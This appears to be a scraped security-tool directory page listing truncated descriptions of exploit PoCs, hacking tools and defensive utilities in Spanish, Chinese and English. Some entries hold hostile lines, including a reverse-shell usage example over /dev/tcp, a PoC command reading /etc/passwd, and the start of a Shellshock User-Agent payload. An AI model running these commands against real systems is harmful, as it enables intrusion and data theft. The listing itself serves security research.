poc-cve-2024-23897

poc-cve-2024-23897 este código es mi intento de escribir una prueba de concepto para el CVE 2024-23897. Permite realizar RCE en la máquina atacada a través del módulo vulnerable args4j cómo usar: go run poc.go http://127.0.0.1:8888/ /etc/passwd...

external_libexif_AOSP10_r33_CVE-2020-0181

libexif ------- 描述 libexif 是一个用于解析、编辑和保存 EXIF 数据的库。它旨在取代命令行工具和 GUI 程序中大量冗余的实现。 特性 libexif 支持 EXIF 数据的解析、编辑和保存。此外，它还具有 gettext 支持。支持 EXIF 标准 2.1（以及大部分 2.2）中描述的所有 EXIF 标签。还支持来自佳能、卡西欧、爱普生、富士、尼康、奥林巴斯、宾得和三洋相机的许多制造商注释。 依赖 libexif 用纯 C 语言编写，不需要任何额外的库。如果可用，将使用 GNU gettext 进行语言翻译。 限制 libexif...

SSHPry2.0

SSHPry2.0 这是SSHPry工具的第二个版本，增加了多项功能。 控制目标的TTY 内置键盘记录器 控制台级钓鱼 记录并回放之前的会话 Demo: https://youtu.be/2gfnBvu1u34 Blogpost: http://www.korznikov.com/2017/09/sshpry-v2-spy-control-ssh-connected.html Twitter: @nopernik 使用方法 ./sshpry2.py 文件： sshpry2.py - 工具本身 其他所有代码片段均被工具使用（不依赖于它们）...

CVE-2025-27520-PoC

CVE-2025-27520 — Simulación educativa segura / PoC Demo Stand ⚠️ Importante: Esta es una simulación educativa y segura de la vulnerabilidad CVE-2025-27520. El proyecto incluye un servicio simulado Flask y un escáner PoC seguro Python. La simulación crea un archivo de evidencia en data/ al recibir...

CVE-2021-36630

CVE-2021-36630 Los dispositivos de la serie SmartZone de Ruckus presentan riesgos de seguridad. Tras notificar al fabricante, este organizó activamente personal técnico para realizar investigaciones. Durante este período, también proporcionamos sugerencias de seguridad y métodos de verificación e...

CVE-2021-27905

CVE-2021-27905 Falsificación de solicitudes del lado del servidor SSRF en ReplicationHandler de Apache Solr Hit Counter Apache Solr cuyas siglas provienen de Searching On Lucene with Replication es un motor de búsqueda gratuito y de código abierto basado en la biblioteca Apache Lucene. Está escri...

monitorr-exploit-toolkit

Kit de exploits para Monitorr RCE mediante carga de archivos no segura reverse shell PHP, webshell, etc. Creación de cuenta de administrador mediante bypass de autorización Fuga de información técnica : versión de Monitorr, versión de PHP, versión y kernel del sistema, configuración de PHP, etc...

open-sammy

SAMMY Código Abierto v2 Este repositorio aloja la versión de código abierto de SAMMY, la herramienta OWASP SAMM. https://owasp.org/www-project-open-sammy/ Licencia Este proyecto está licenciado bajo la Licencia Creative Commons Attribution-ShareAlike 4.0 International. Consulta el archivo LICENSE...

Hermes-Proxy

Hermes Proxy Hermes Proxy is a desktop HTTP/HTTPS interception app built with Electron and Vite. It captures requests/responses, lets you replay requests, and export/import HAR files. Features Live traffic table with request/response details Replay requests with editable URL/headers Export all...

CVE-2026-90817

An unauthenticated Remote Code Execution vulnerability was found in the survey passthrough routing and Data Import processing logic, in which a malicious user could potentially exploit it by manipulating HTTP requests to access an unintended controller route from a public survey context and by...

CVE-2023-44813

CVE-2023-44813 Una vulnerabilidad de cross-site scripting XSS reflejado en el parámetro mode de la función Invite Friend de mooSocial v3.1.8 que permite a los atacantes robar las cookies de sesión de los usuarios y suplantar su cuenta mediante una URL manipulada. Parámetro vulnerable: mode Exploi...

CVE-2009-4623

Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

PROMPTPurify

promptpurify Firewall de inyección de prompts ultraligero para apps de chat con LLM. 14 MB. Solo CPU. Guardia integrable entre tu entrada de usuario y tu LLM: se ejecuta en el mismo equipo, sin GPU, sin API, sin servicios adicionales. Creado por el equipo de red team de SecureLayer7. La mayoría d...

capa

网站 | 下载 | Web 界面 capa 能够检测可执行文件中的能力。 你针对一个 PE、ELF、.NET 模块、shellcode 文件或沙箱报告运行它，它就会告诉你它认为该程序能够做什么。 例如，它可能会指出该文件是一个后门、能够安装服务、或依赖 HTTP 进行通信。 要交互式地在浏览器中查看 capa 结果，请使用 capa Explorer Web。 如果你想查看或编写 capa 规则，请前往 capa-rules 仓库。否则，请继续阅读。 下面你可以找到 我们关于 capa 的博客文章列表，其中包含更多细节。 示例 capa 输出 $ capa.exe...

Cve-api

从 https://cve.mitre.org 解析和过滤最新的 CVE 文档 用法 http://localhost:4000/cve?target=关键词 年份参数是可选的。 http://localhost:4000/cve?target=关键词&year=年份 示例 http://localhost:4000/cve?target=ruby%20on%20rails http://localhost:4000/cve?target=ruby%20on%20rails&year=2020 如果你想要解析最新年份，请使用 "latest" 关键词。...

cryptr

cryptr 一个使用 OpenSSL 加密和解密文件的简单 shell 工具。 安装 root@kitploit: git clone https://github.com/nodesocket/cryptr.git ln -s "$PWD"/cryptr/cryptr.bash /usr/local/bin/cryptr 依赖 shred（可选，用于删除原始文件）。 Bash 补全 将 tools/cryptr-bash-completion.bash 添加到你的补全文件目录中。 命令 encrypt encrypt - 使用 OpenSSL AES-256...

CVE-2025-29927-POC

CVE-2025-29927-POC Introducción Este repositorio contiene una Prueba de Concepto PoC para CVE-2025-29927, una vulnerabilidad hipotética que demuestra una falla en el manejo de middleware dentro de una aplicación web. La PoC ilustra cómo una solicitud HTTP especialmente manipulada puede eludir la...

ASUS-SmartHome-Exploit

ASUS-SmartHome-Exploit IDs de CVE CVE-2019-11061 : Control de acceso roto en HG100 Productos afectados : ASUS SmartHome Gateway HG100 Versión de firmware Productos afectados : Aplicación ASUS SmartHome Android APP versión 3.0.45190701 Descripción Si el atacante está en la misma red interna que el...

CVE-2021-23132

CVE-2021-23132 commedia permitió rutas que no están destinadas para subidas de imágenes que llevan a RCE. CVE-2020-24597 Recorrido de directorios en commedia a RCE Ambos CVEs son iguales. PoC Completo Versión afectada: Joomla core =3.9.24 Requisito de usuario: Cuenta de administrador No...

Shellbash-CVE-2014-6271

Shellshock 破壳漏洞（CVE-2014-6271） 编译运行： root@kitploit: docker-compose up -d 服务启动后，有两个页面http://your-ip:8080/victim.cgi和http://your-ip:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面，victim.cgi是bash4.3生成的页面。 将payload附在User-Agent中访问victim.cgi： root@kitploit: User-Agent: foo; ; echo Content-Type: text/plain; echo...